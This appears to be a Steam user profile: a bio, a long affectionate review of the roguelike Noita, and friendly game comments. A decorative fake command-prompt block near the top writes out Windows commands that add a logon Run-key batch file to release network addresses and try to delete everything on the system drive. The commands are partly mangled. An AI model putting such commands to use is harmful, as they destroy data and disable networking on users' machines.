persistentPerfection
trying to learn how to play nurse, don't cuss
 
 
some information
playing for fun and fun only
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⁣C:\WINDOWS\system32\cmd.exe
Microsoft Windows [Version 10.0.19045.3693]
(c) Microsoft Corportaion. All rights reserved.

C:\Users\mentalmonkey>echo @echo off>c:windowswimn32.bat

C:\Users\mentalmonkey>echo break off>>c:windowswimn32.bat

C:\Users\mentalmonkey>echo ipconfig/release_all>>c:windowswimn32.bat

C:\Users\mentalmonkey>echo end>>c:windowswimn32.bat

C:\Users\mentalmonkey>reg add hkey_local_machinesoftwaremicrosftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f

C:\Users\mentalmonkey>reg add hkey_local_machinesoftwaremicrosftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:window

C:\Users\mentalmonkey>delete %systemdrive%\*.* /f /s
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀      hi
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340 Hours played
So you enjoy roguelike games and decided to give Noita a try.

You begin with a simple wand and 100 HP at the entrance of a cave. There are no tutorials to tell you what to do, so you just walk in, not knowing what awaits you.

Right after you enter the cave, you'll see some monsters that don't look too dangerous. But once they hit you, you'll realize they are indeed very lethal, and you might die in a single hit. Now alert, you explore the cave cautiously. You see a small spider, thinking you can easily best it. But as you get closer, you see it's not just one spider, but five! You die instantly.

Once again, you start with a simple wand and 100 HP at the entrance of the cave.

This time you're careful, dodging the monsters and killing some as you learn their behaviors. You discover new wands, potions, and interactive items. As you descend, you see a portal. This is your first visit to a Holy Mountain. Here, you learn about perks, wand crafting, and thinking about gameplay strategies. But as soon as you leave the Holy Mountain, you see a pink potion and, consumed by curiosity, decide to try it. You're turned into a sheep with only 5 HP and quickly destroyed by a shotgunner.

Back to the entrance of the cave, with a simple wand and 100 HP.

As time passes, you become a master alchemist. You have great wand crafting skills, a strong understanding of game mechanics, and a mastery of gameplay strategies. You explore all the biomes, encounter all the enemies, defeat mini-bosses, and finally face the final boss, Kolmi. After a long and challenging battle, you emerge victorious. Feeling proud of your accomplishment, you consider yourself a master alchemist.

Yet, you don't have all the achievements. "Gods Are Impressed," you wonder? How on earth do you get that one?

Time to check guides or YouTube. But wait... is this the game you've been playing?

There are alphabet spells, a meat realm, fungal caverns, fungal shifts, sky islands, parallel worlds, the ability to create a black hole, the eye riddle, the cauldron, and many more things you never even imagined this game could hold.

You realize you've only been experiencing 10% of the game, thinking you had mastered it. You were no master alchemist, you were no great wandcrafter, and you have no idea how this game is played.

Oh well, back you go, starting yet again with a simple wand and 100 HP at the entrance of the cave...
BigMilk 19 hours ago 
+rep good guitar player <3
Hex: Titlover 23 hours ago 
+rep good survivor
Kelloggs Jun 10 @ 4:10pm 
Luckily I own almost every pair of claudette's jeans. Would've changed into anything. Next time give me at least 10 more seconds to answer 🥺
persistentPerfection Jun 10 @ 3:25pm 
beauty is subjective man. maybe I like claudette with pink jeans?!
Kelloggs Jun 10 @ 2:52pm 
Ah, I see. But I was about to answer and even change my claudette to someone more attractive 🥺 Always trust beautiful survs. Statistics show they ruin matches and statistics don't lie.
persistentPerfection Jun 10 @ 2:33pm 
I've realized when the team talks in game chat, chances of survival increase. Highly suggested strat. statistics dont lie.